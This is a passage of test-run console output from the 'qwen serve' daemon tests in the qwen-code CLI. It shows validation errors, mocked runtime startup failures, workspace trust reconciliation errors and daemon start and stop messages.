at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-RmGyfb/debug/daemon/daemon.log
2026-09-11T23:07:00.785Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionReapIntervalMs: Infinity. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2657:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-tf1dTZ/debug/daemon/daemon.log
2026-09-11T23:07:00.851Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionIdleTimeoutMs: -1. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2664:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-yKzRsc/debug/daemon/daemon.log
2026-09-11T23:07:00.919Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionIdleTimeoutMs: 1.5. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2664:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-v94ZqC/debug/daemon/daemon.log
2026-09-11T23:07:00.975Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionIdleTimeoutMs: NaN. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2664:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-pwPYxB/debug/daemon/daemon.log
2026-09-11T23:07:01.029Z [ERROR] [DAEMON] daemon startup failed
TypeError: Invalid sessionIdleTimeoutMs: Infinity. Must be a non-negative integer (milliseconds, 0 = disabled).
at runQwenServeImpl (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:2664:13)
at Module.runQwenServe (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:1967:12)
at runWithReaperOption (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2854:14)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2883:5
at file:///build/qwen-code/src/qwen-code/node_modules/@vitest/runner/dist/chunk-hooks.js:752:20
qwen serve: daemon log → /tmp/qws-rt-2irryP/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:07:01.181Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-rt-2irryP secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41317 (mode=http-bridge, workspace=/tmp/qws-rt-2irryP)
qwen serve: bound to workspace "/tmp/qws-rt-2irryP"
qwen serve: startup timing: processToListenMs=102907 runQwenServeToListenMs=404
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:01.511Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-rt-TzkbjF/debug/daemon/daemon.log
qwen serve: Web Shell UI served from /build/qwen-code/src/qwen-code/packages/web-shell/dist
2026-09-11T23:07:01.730Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-rt-TzkbjF secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:38331 (mode=http-bridge, workspace=/tmp/qws-rt-TzkbjF)
qwen serve: bound to workspace "/tmp/qws-rt-TzkbjF"
qwen serve: startup timing: processToListenMs=103322 runQwenServeToListenMs=213
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:01.897Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:44479 (mode=http-bridge, workspace=/tmp/qws-runtime-trust-race-3reYZY)
qwen serve: bound to workspace "/tmp/qws-runtime-trust-race-3reYZY"
qwen serve: startup timing: processToListenMs=103425 runQwenServeToListenMs=46
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:02.035Z [WARN] [DAEMON] workspace=/tmp/qws-runtime-trust-race-3reYZY workspace file writes are disabled because the bound workspace is not trusted
2026-09-11T23:07:02.048Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-trust-race-3reYZY secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:02.741Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:44807 (mode=http-bridge, workspace=/tmp/qws-runtime-trust-blocked-V3Mixp)
qwen serve: bound to workspace "/tmp/qws-runtime-trust-blocked-V3Mixp"
qwen serve: startup timing: processToListenMs=104277 runQwenServeToListenMs=52
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:02.857Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-trust-blocked-V3Mixp secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:03.019Z [ERROR] [DAEMON] workspace trust reconciliation failed for /tmp/qws-runtime-trust-blocked-V3Mixp
Error: replacement failed
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:3075:15)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at createDynamicWorkspaceRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:4657:28)
at Object.buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5530:18)
at replace (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-trust-reconciler.ts:133:37)
at processTicksAndRejections (node:internal/process/task_queues:104:5)
at applySnapshot (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-trust-reconciler.ts:315:7)
at drain (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-trust-reconciler.ts:323:7)
at PathMutexRegistry.runExclusive (/build/qwen-code/src/qwen-code/packages/cli/src/serve/fs/path-mutex-registry.ts:20:14)
2026-09-11T23:07:03.310Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:40473 (mode=http-bridge, workspace=/tmp/qws-runtime-acp-cleanup-sNSvko)
qwen serve: bound to workspace "/tmp/qws-runtime-acp-cleanup-sNSvko"
qwen serve: startup timing: processToListenMs=105120 runQwenServeToListenMs=211
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:03.758Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-acp-cleanup-sNSvko secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:04.060Z [ERROR] [DAEMON] workspace trust reconciliation failed for /tmp/qws-runtime-acp-cleanup-sNSvko
AggregateError: Workspace bridge shutdown could not be confirmed.
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:5161:25
at processTicksAndRejections (node:internal/process/task_queues:104:5)
2026-09-11T23:07:04.089Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:44261 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-bU34SN)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-bU34SN"
qwen serve: startup timing: processToListenMs=105625 runQwenServeToListenMs=58
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:04.253Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-bU34SN secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:04.276Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:3193:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:04.292Z [ERROR] [DAEMON] daemon startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:3193:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:37347 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-close-TMHXH5)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-close-TMHXH5"
qwen serve: startup timing: processToListenMs=105868 runQwenServeToListenMs=54
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:04.470Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-close-TMHXH5 secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:04.490Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:3214:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:04.497Z [ERROR] [DAEMON] daemon startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:3214:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:39997 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-nteMDS)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-nteMDS"
qwen serve: startup timing: processToListenMs=106151 runQwenServeToListenMs=111
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:04.742Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-nteMDS secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:04.759Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:05.042Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:45965 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-F7SSfQ)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-F7SSfQ"
qwen serve: startup timing: processToListenMs=106585 runQwenServeToListenMs=48
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:05.175Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-F7SSfQ secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:05.189Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:05.307Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:39781 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-iTjIU6)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-iTjIU6"
qwen serve: startup timing: processToListenMs=106882 runQwenServeToListenMs=80
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:05.483Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-iTjIU6 secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:05.497Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:05.594Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:45457 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-cF26Vs)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-cF26Vs"
qwen serve: startup timing: processToListenMs=107138 runQwenServeToListenMs=56
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:05.733Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-cF26Vs secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:05.752Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:05.920Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:41951 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-wh3R9A)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-wh3R9A"
qwen serve: startup timing: processToListenMs=107437 runQwenServeToListenMs=45
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: client-hosted MCP tools are accepted over the WebSocket without auth. Set QWEN_SERVE_CLIENT_MCP_OVER_WS=0 to disable.
2026-09-11T23:07:06.024Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-wh3R9A secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:06.040Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:06.130Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:45359 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-MGq7l1)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-MGq7l1"
qwen serve: startup timing: processToListenMs=107678 runQwenServeToListenMs=57
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: client-hosted MCP tools are accepted over the WebSocket without auth. Set QWEN_SERVE_CLIENT_MCP_OVER_WS=0 to disable.
2026-09-11T23:07:06.267Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-MGq7l1 secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:06.286Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:06.364Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:35609 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-vHMiQq)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-vHMiQq"
qwen serve: startup timing: processToListenMs=107895 runQwenServeToListenMs=49
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: client-hosted MCP tools are accepted over the WebSocket without auth. Set QWEN_SERVE_CLIENT_MCP_OVER_WS=0 to disable.
2026-09-11T23:07:06.492Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-vHMiQq secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:06.514Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:06.591Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:44913 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-UTPoGv)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-UTPoGv"
qwen serve: startup timing: processToListenMs=108509 runQwenServeToListenMs=261
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:07.166Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-UTPoGv secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:07.208Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:07.482Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:34655 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-9UbYhL)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-9UbYhL"
qwen serve: startup timing: processToListenMs=109042 runQwenServeToListenMs=50
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:07.635Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-9UbYhL secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:07.647Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:07.784Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: https://example.com
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:41053 (mode=http-bridge, workspace=/tmp/qws-runtime-fail-0WBO9v)
qwen serve: bound to workspace "/tmp/qws-runtime-fail-0WBO9v"
qwen serve: startup timing: processToListenMs=109346 runQwenServeToListenMs=78
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:07.970Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-fail-0WBO9v secondary= daemon workspace roots initialized
qwen serve: runtime startup failed: runtime boom
2026-09-11T23:07:07.986Z [ERROR] [DAEMON] runtime startup failed
Error: runtime boom
at Object. (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.test.ts:2936:13)
at Object.mockCall (file:///build/qwen-code/src/qwen-code/node_modules/@vitest/spy/dist/index.js:96:15)
at Object.createAcpSessionBridge (file:///build/qwen-code/src/qwen-code/node_modules/tinyspy/dist/index.js:47:103)
at buildRuntime (/build/qwen-code/src/qwen-code/packages/cli/src/serve/run-qwen-serve.ts:3758:15)
2026-09-11T23:07:08.070Z [INFO] [DAEMON] daemon stopped
qwen serve: --allow-origin: chrome-extension://qwen-test-extension
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:43805 (mode=http-bridge, workspace=/tmp/qws-runtime-child-env-4FOiHL)
qwen serve: bound to workspace "/tmp/qws-runtime-child-env-4FOiHL"
qwen serve: startup timing: processToListenMs=109652 runQwenServeToListenMs=50
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:08.239Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-child-env-4FOiHL secondary= daemon workspace roots initialized
qwen serve: /acp WebSocket transport enabled on /acp
2026-09-11T23:07:08.525Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-run-serve-tests-ZHgpjt/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:35899 (mode=http-bridge, workspace=/tmp/qws-memory-project-scope-6Dm0FF/primary)
qwen serve: bound to workspace "/tmp/qws-memory-project-scope-6Dm0FF/primary"
qwen serve: startup timing: processToListenMs=110070 runQwenServeToListenMs=43
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:08.656Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-memory-project-scope-6Dm0FF/primary secondary= daemon workspace roots initialized
2026-09-11T23:07:08.735Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-env-reload-B1JXzD/debug/daemon/daemon.log
2026-09-11T23:07:08.902Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-env-reload-B1JXzD secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:40541 (mode=http-bridge, workspace=/tmp/qws-runtime-env-reload-B1JXzD)
qwen serve: bound to workspace "/tmp/qws-runtime-env-reload-B1JXzD"
qwen serve: startup timing: processToListenMs=110370 runQwenServeToListenMs=141
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
qwen serve: reload failed: bridge.invokeWorkspaceCommand is not a function
2026-09-11T23:07:09.028Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /tmp/qws-runtime-env-fallback-wBo3vZ/debug/daemon/daemon.log
2026-09-11T23:07:09.141Z [INFO] [DAEMON] ideEnvPresent=false primary=/tmp/qws-runtime-env-fallback-wBo3vZ secondary= daemon workspace roots initialized
qwen serve listening on http://127.0.0.1:41597 (mode=http-bridge, workspace=/tmp/qws-runtime-env-fallback-wBo3vZ)
qwen serve: bound to workspace "/tmp/qws-runtime-env-fallback-wBo3vZ"
qwen serve: startup timing: processToListenMs=110604 runQwenServeToListenMs=89
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
2026-09-11T23:07:09.178Z [WARN] [DAEMON] error="runtime env rebuild failed" failed to rebuild runtime env snapshot after daemon env reload; preserving previous runtime env
qwen serve: reload failed: bridge.invokeWorkspaceCommand is not a function
qwen serve: reload failed: bridge.invokeWorkspaceCommand is not a function
2026-09-11T23:07:09.210Z [INFO] [DAEMON] daemon stopped
qwen serve: daemon log → /build/.qwen/debug/daemon/daemon.log
qwen serve listening on http://127.0.0.1:35055 (mode=http-bridge, workspace=/tmp/qws-secondary-env-reload-api6ge/primary)
qwen serve: bound to workspace "/tmp/qws-secondary-env-reload-api6ge/primary"
qwen serve: startup timing: processToListenMs=110750 runQwenServeToListenMs=47
qwen serve: bearer auth disabled (loopback default). Set QWEN_SERVER_TOKEN to enable.
